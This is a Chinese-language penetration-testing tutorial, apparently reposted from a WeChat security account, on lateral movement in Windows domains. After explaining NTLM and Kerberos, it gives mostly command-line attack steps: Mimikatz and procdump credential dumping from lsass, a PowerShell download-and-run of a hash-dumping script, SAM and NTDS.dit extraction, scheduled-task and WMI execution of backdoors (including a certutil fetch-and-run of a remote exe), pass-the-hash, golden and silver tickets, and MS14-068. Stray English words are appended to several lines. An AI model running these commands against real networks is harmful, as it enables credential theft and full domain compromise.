內網滲透技巧之橫向控制

1、前言

   目前當攻擊者獲取到某臺內網機器的控制權限以後,進一步會考慮如何在內網進行橫向移動,以及攻擊域控服務器,今天丹丹就總結一下突破邊界後進一步的攻擊技巧。css

2、Windows域介紹

將網絡中多臺計算機邏輯上組織到一塊兒進行集中管理,這種區別於工做組的邏輯環境叫作域。域是由域控制器(Domain Controller)和成員計算機組成,域控制器就是安裝了活動目錄(Active Directory)的計算機。活動目錄提供了存儲網絡上對象信息並使用網絡使用該數據的方法,在域中,至少有一臺域控制器,域控制器中保存着整個域的用戶賬號和安全數據庫。node

2.1域的優點

1.集中管理,能夠集中的管理企業中成千上萬分佈於異地的計算機和用戶。python

2.便捷的網絡資源訪問,可以容易的定位到域中的資源。nginx

3.用戶一次登陸就可訪問整個網絡資源,集中的身份驗證。git

4.網絡資源主要包含用戶賬戶、組、共享文件夾、打印機等github

5.可擴展性,既能夠適用於幾十臺計算機的小規模網絡,也能夠適用於跨國公司。算法

2.2域滲透經常使用命令

查詢與控制器主機名 :net group 「domain controllers」 /domainshell

能夠經過ping主機名獲取到域控的ip
數據庫

查詢域管理用戶:net group 「domain admins」 /domain
apache

查看全部域用戶:net user /domain

查看加入域的全部計算機名:net group "domain computers" /domain

查看域密碼策略:net accounts /domain

2.3Windows認證協議

Windows有兩種認證協議:NTLM(NT LAN Manager)和Kerberos。域成員計算機在登陸的時候能夠選擇登陸到域中或此臺電腦,選擇登錄到域通常會採用Kerberos協議在域控DC上進行認證。

   2.3.1NTLM認證協議

NTLM是一種網絡認證協議,它是基於挑戰(Chalenge)/響應(Response)認證機制的一種認證模式。這個協議只支持Windows。NTLM認證協議大概流程:

能夠看到NTLM協議基於NTLM hash,windows本地登錄的密碼由LM hash和NTLM hash組成,存儲在SAM文件中,前一部分是LM Hash,後一部分是NTLM Hash。

administrator:500:6f08d7b306b1dad4ff17365faf1ffe89:032f3db689bf1ee44c04d08c785710de:::

在登錄Windows的時候,系統會將用戶輸入的密碼轉換成NTLM hash並與SAM文件中的密碼進行對比,若是相同,則認證成功。

   2.3.2Kerberos認證協議

Kerberos是一種網絡認證協議,整個認證過程涉及到三方:客戶端、服務端和 KDC(Key Distribution Center),在 Windows 域環境中,KDC 的角色由 DC(Domain Controller)來擔當。

Kerberos基於票據(Ticket)進行安全認證,票據是用來在認證服務器和用戶請求的服務之間傳遞用戶身份的憑證。如下是kerberos協議的認證流程:

第1步:KRB_AS_REQ:Client-A發送Authenticator(經過A密碼加密的一個時間戳TimeStamp)向KDC的AS服務認證本身的身份;

   第2步:KRB_AS_REP:AS經過KDC數據庫中存儲的Client-A密碼的副本,解密收到的Authenticator,若是解密出的TimeStamp符合要求,則AS服務認爲Client-A就是所謂的Client-A;

認證成功後,AS服務生成一個短時間有效的SessionKeya-kdc,將該Key使用A的密碼副本加密成密文1,另外將Key連同時間戳標誌(控制該SessionKey的有效時間)經過TGS服務的密碼也就是KDC的密碼加密爲密文2(稱爲TGT),將這兩個密文組合成KRB_AS_REP返回給Client-A;

   第3步:KRB_TGS_REQ:Client-A在接收到KRB_AS_REP後,首先使用自身密碼解密密文1獲得SessionKeya-kdc,此時須要注意的是,密文2(TGT)是被KDC的密碼加密的,因此Client-A沒法解密,這也是Kerberos協議設計的精妙之處,既解決了Server端(TGS相對於Client-A也稱之爲Server端)沒法及時接收SessionKey的問題,又不怕Client-A對該TGT的僞造,由於Client-A不知道Server端的密碼。

獲得SessionKeya-kdc後,Client-A利用其加密時間戳生成Authenticator用於向TGS申請Client-A與Client-B進行認證所需的SessionKeya-b,連同剛纔KRB_AS_REP接收的TGT一同組合成KRB_TGS_REQ發送給TGS

   第4步:KRB_TGS_REP:TGS在接收到KRB_TGS_REP以後,利用KDC密碼解密TGT得到原本就該發送給本身的SessionKeya-kdc,而後用其解密KRB_TGS_REQ中的Authenticator獲得Client-A發送過來的時間戳,若是時間戳符合要求,則生成一個短時間有效的SessionKeya-b,注意此時利用SessionKeya-kdc將SessionKeya-b加密爲密文1,而後利用Server-B的密碼將SessionKeya-b加密爲密文2(稱爲ServiceTicket),兩個密文一同構成KRB_TGS_REP返回給Client-A;

   第5步:KRB_AP_REQ:Client-A在接收到KRB_TGS_REP以後,首先使用緩存的SessionKeya-kdc將密文1中的SessionKeya-b解密出來,而後利用其加密時間戳生成Authenticator用於向B進行對自身的驗證,另外,和剛纔TGT同樣,密文2也就是ServiceTicket是用Server-B的密碼加密的,因此Client-A沒法解密,也就沒法僞造,這也一樣解決了在三方認證中做爲Server端的B沒法及時接收SessionKey的問題,又不怕Client-A對ServiceTicket的僞造;

   第6步:KRB_AP_REP:Server-B受到KRB_AP_REQ以後,利用自身密碼解密ServiceTicket,獲得SessionKeya-b,而後用SessionKeya-b解密Authenticator獲得時間戳,驗證A的身份。

3、域內橫向移動技巧

利用NTLM、Kerberos及SMB等協議。攻擊者進入內網後會進行橫向移動創建多個立足點,常見的技巧包括憑證竊取、橫向移動、Pass The Hash(hash傳遞)、導出域成員Hash、黃金白銀票據、MS14-068等。

3.1憑證竊取

竊取憑據來幫助在域內橫向移動,一旦獲取的密碼在內網中是通用的,將會方便橫向移動獲取目標權限。

   3.1.1Mimikatz

Mimikatz一款windows平臺下的神器,它具有不少功能,其中最亮眼的功能是直接從 lsass.exe 進程裏獲取windows處於active狀態帳號的明文密碼。

讀取明文密碼原理:在 Windows 中,當用戶登陸時,lsass.exe 使用一個可逆的算法加密明文,並會將密文保存在內存中,Mimikatz就是經過抓取內存去還原明文。

項目地址:https://github.com/gentilkiwi/mimikatz

用法:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"

當目標爲win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,但能夠經過修改註冊表的方式抓取明文。

cmd修改註冊表命令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

重啓或用戶從新登陸後能夠成功抓取。

   3.1.2Procdump

Procdump是微軟官方發佈的一款調試工具,所以不會被各類殺毒軟件查殺。一般使用procdump轉儲內存文件到本地再使用mimikatz抓取文件中的hash來躲避殺軟檢測。

下載地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

一、使用procdump將目標的lsass.exe轉儲成dmp文件

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

二、使用mimikatz從轉儲的lsass.dmp中來讀取明文密碼

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

   3.1.3Getpass

Getapss是由閃電小子根據mimikatz編譯的一個工具,能夠直接獲取明文密碼,直接運行Getpass.exe便可:

   3.1.4Powershell腳本抓取

當目標系統存在powershell時,可直接一句powershell代碼調用抓取,前提是目標可出外網,不然須要將ps1腳本放置內網之中。執行:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes

   3.1.5Sam破解

使用註冊表來離線導出Hash

reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save hklm\security security.hiv

導出後可使用mimikatz加載sam.hiv和sam.hiv來導出Hash。或者使用impacket 套件中secretsdump.py 腳本去解密,也是能夠的。

python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

3.2橫向移動

   3.2.1IPC+計劃任務

經過ipc$實現對windows默認共享的訪問,配合計劃任務執行後門程序獲取服務器權限。

一、經過net use創建IPC$鏈接

net use \\192.168.91.131\IPC$ /user:"administrator" "abc@123"

二、利用copy上傳後門文件

copy D:\test.bat \\186.64.10.13\c$

三、建立計劃任務執行後門程序

schtasks /create /s 186.64.10.13 /u Administrator /p Admin@123.. /ru "SYSTEM" /tn test /sc DAILY /st 22:18 /tr C:\\windows\\temp\\test.bat /F

建立計劃任務,/tn是任務名稱,/sc是任務運行頻率,這裏指定爲天天運行, /tr指定運行的文件,/F表示強制建立任務

schtasks /run /s 186.64.10.13 /u administrator /p Admin@123.. /tn test /i

運行任務,其中/i表示當即運行

schtasks /delete /s 186.64.10.13 /u administrator /p Admin@123.. /tn test /f

刪除計劃任務

低版本的操做系統能夠直接使用at建立計劃任務:

net time \\186.64.10.13 at \\186.64.10.13 18:01 c:\windows\temp\test.bat

   3.2.2PsExec(445端口)

PsExec來自Microsoft的Sysinternals套件,它首先經過SMB鏈接到目標上的ADMIN$共享,上傳psexesvc.exe,而後使用服務控制管理器啓動.exe,以在遠程系統上建立命名管道,最後使用該管道進行I/O

下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

一、經過ADMIN$鏈接,而後釋放psexesvc.exe到目標機器。

二、經過服務管理SCManager遠程建立psexecsvc服務,並啓動服務。

三、客戶端鏈接執行命令,服務端啓動相應的程序並執行回顯數據。

psexec \\186.64.10.13 -u Domain\User -p Password Command

或者返回交互式shell:

   3.2.3WMI(135端口)

WMI(Windows Management Instrumentation,Windows管理規範)是一項核心的Windows管理技術;用戶可使用WMI管理本地和遠程計算機

經過使用端口135上的遠程過程調用(RPC)進行通訊以進行遠程訪問(以及之後的臨時端口), 它容許系統管理員遠程執行自動化管理任務,例如遠程啓動服務或執行命令。它能夠經過wmic.exe直接進行交互。

查詢進程信息:


wmic /node:186.64.10.13 /user:Administrator /password:Admin@123.. process list brief

首先WMI並不支持執行命令,而是支持執行文件可是你能夠加相應的參數,好比

wmic /node:186.64.10.13 /user:Administrator /password:Admin@123.. process call create "cmd.exe /c ipconfig"

建立進程:

wmic /node:186.64.10.13 /user:Administrator /password:Admin@123 process call create "calc.exe"
下載遠程文件並執行:
wmic /node:186.64.10.13 /user:Administrator /password:Admin@123 process call create "cmd /c  certutil.exe -urlcache -split -f http://186.64.10.13/test.exe c:/windows/temp/test.exe & c:/windows/temp/test.exe"
建立交互式shell:

使用py腳本調用WMI來模擬psexec的功能,基本上psexec能用的地方,這個腳本也可以使用。原理就是把數據先存到一個臨時文件中,在每次讀取完執行結果後就自動刪除。能夠用來回顯執行命令的結果和獲取半交互式的shell


python wmiexec.py -share admin$ administrator:password@186.64.10.13

   3.2.4WinRM遠程管理服務

WinRM指的是Windows遠程管理服務,經過遠程鏈接winRM模塊能夠操做windows命令行,默認監聽端口5985(HTTP)&5986 (HTTPS),在2012之後默認開啓。

執行命令:

      
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "whoami /all"
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "cmd.exe"


winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "whoami /all"
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "cmd.exe"

   3.2.5SmbExec(445端口)

smbexec是一款基於psexec的域滲透測試工具,並配套samba工具。

Smbexec.py administrator:password@186.64.10.13

3.3Pass The Hash

PTH(pass the hash)攻擊是指攻擊者能夠直接經過LM Hash(已棄用)或NTLM Hash訪問遠程主機或服務,而不提供明文密碼。在Windows系統中,使用NTLM進行身份認證,當獲取用戶hash後,可使用Hash傳遞的方式獲取訪問權限。

   3.3.1Mimikatz

首先登陸目標機器,以管理員身份運行mimikatz,並輸入如下命令獲取administrator帳戶的ntlm hash:

Mimikatz.exeprivilege::debug」 「sekurlsa::logonpasswords

在攻擊機器上利用mimikatz將獲取的hash注入到內存中,成功後用dir命令能夠成功列出目錄文件:

sekurlsa::pth /domain:. /user:Administrator /ntlm: 70be8675cd511daa9be4b8f49e829327


注入成功後,可使用psexec、wmic、wmiexec等實現遠程執行命令。

3.4導出域成員Hash

域帳戶的用戶名和hash密碼以域數據庫的形式存放在域控制器的%SystemRoot%\ntds\NTDS.DIT文件中。

ntdsutil.exe是域控制器自帶的域數據庫管理工具,所以咱們能夠經過域數據庫,提取出域中全部的域用戶信息,在域控上依次執行以下命令,導出域數據庫。

建立快照:

ntdsutil snapshot "activate instance ntds" create quit quit

加載快照:

ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

Copy文件副本:

copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

將ntds.dit文件拷貝到本地利用impacket腳本dump出Hash:

最後記得卸載刪除快照:

      
ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quitntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

   3.4.1mimikatz導出域內hash

ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quitntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

mimikatz有兩種方式能夠導出域內hash。

一、直接在域控制器中執行Mimikatz,經過lsass.exe進程dump出密碼哈希。

mimikatz log "privilege::debug" "lsadump::lsa /patch" exi

另一種方式是經過dcsync,利用目錄複製服務(DRS)從NTDS.DIT文件中檢索密碼哈希值,能夠在域管權限下執行獲取。

lsadump::dcsync /domain:test.com /all /csv

也能夠制定獲取某個用戶的hash:

lsadump::dcsync /domain:test.com /user:test

   3.4.2黃金票據

域中每一個用戶的Ticket都是由krbtgt的密碼Hash來計算生成的,所以只要獲取到了krbtgt用戶的密碼Hash,就能夠隨意僞造Ticket,進而使用Ticket登錄域控制器,使用krbtgt用戶hash生成的票據被稱爲Golden Ticket,此類攻擊方法被稱爲票據傳遞攻擊。

首先獲取krbtgt的用戶hash:


mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

在普通域成員上執行dir命令提示「拒絕訪問」:

以後利用mimikatz生成域管權限的Golden Ticket,填入對應的域管理員帳號、域名稱、sid值,以下:     


kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi

導入剛纔生成的票據:

kerberos::ptt test.kiribi

導入成功後,能夠獲取域管權限:

Dir \\dc.abc.com\c$

   3.4.3白銀票據

黃金票據和白銀票據的一些區別:

Golden Ticket:僞造TGT,能夠獲取任何Kerberos服務權限,且由krbtgt的hash加密,金票在使用的過程須要和域控通訊

白銀票據:僞造TGS,只能訪問指定的服務,且由服務帳號(一般爲計算機帳戶)的Hash加密 ,銀票在使用的過程不須要同域控通訊

1.在域控上導出hash

mimikatz log "privilege::debug" "sekurlsa::logonpasswords"


二、利用Hash製做一張cifs服務的白銀票據:

kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt

cifs是指的文件共享服務,有了cifs服務權限,就能夠訪問域控制器的文件系統:

   3.4.4MS14-068

MS14-068域提權漏洞,對應補丁編號:kb3011780,利用該漏洞能夠將任何一個域用戶提權至域管理員權限。

一、在普通域用戶機器上直接訪問域控制器的C盤目錄

二、利用MS14-068僞造生成TGT:

      
sMS14-068.exe -u strage@test.com -s S-1-5-21-457432167-2946190674-2696793547-1103 -d 192.168.140.140 -p Admin@str


sMS14-068.exe -u strage@test.com -s S-1-5-21-457432167-2946190674-2696793547-1103 -d 192.168.140.140 -p Admin@str

三、利用mimikatz將工具獲得的TGT票據寫入內存,建立緩存證書:


mimikatz.exe "kerberos::ptc TGT_strage@test.com.ccache" exit

四、從新執行dir命令:

dir \\dc\C$

4、總結

    本文從攻擊者視角總結了突破邊界後的攻擊技巧,因爲水平有限,歡迎你們指出文中的錯誤和交流指教。

    

往期精彩


滲透測試信息收集的方法

我所知道的內網滲透

常見Web中間件漏洞利用及修復方法

安全測試中如何快速搞定Webshell

內網滲透 | 流量轉發場景測試

一個實驗瞭解多層內網滲透

Waf從入門到Bypass

實戰滲透-看我如何拿下學校的大屏幕

技術篇:bulldog水平垂直越權+命令執行+提權

滲透工具實戰技巧大合集 | 先收藏點贊再轉發一鼓作氣

感興趣的能夠點個關注!!!



烏雲白帽子

一個只作安全測試的公衆號



本文分享自微信公衆號 - 零度安全(AttackCTF)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索